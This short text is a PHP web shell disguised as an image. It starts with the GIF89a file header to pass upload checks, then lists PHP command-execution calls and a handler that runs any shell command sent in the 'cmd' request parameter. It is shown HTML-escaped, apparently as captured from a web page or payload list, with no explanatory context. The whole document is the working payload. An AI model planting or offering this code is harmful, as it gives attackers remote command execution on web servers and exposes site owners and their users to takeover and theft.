GIF89a1<br />
 $a=system($_GET[&#039;cmd&#039;]); echo $a;<br />
 system(&#039;whoami&#039;); <br />
 exec(&#039;whoami&#039;); <br />
 passthru(&#039;whoami&#039;); <br />
 shell_exec(&#039;whoami&#039;); <br />
 if(isset($_REQUEST[&#039;cmd&#039;])){ echo &quot;&lt;pre&gt;&quot;; $cmd = ($_REQUEST[&#039;cmd&#039;]); system($cmd); echo &quot;&lt;/pre&gt;&quot;; die; }<br />
 preg_replace(&#039;/.*/e&#039;, &#039;system(&quot;whoami&quot;);&#039;, &#039;&#039;);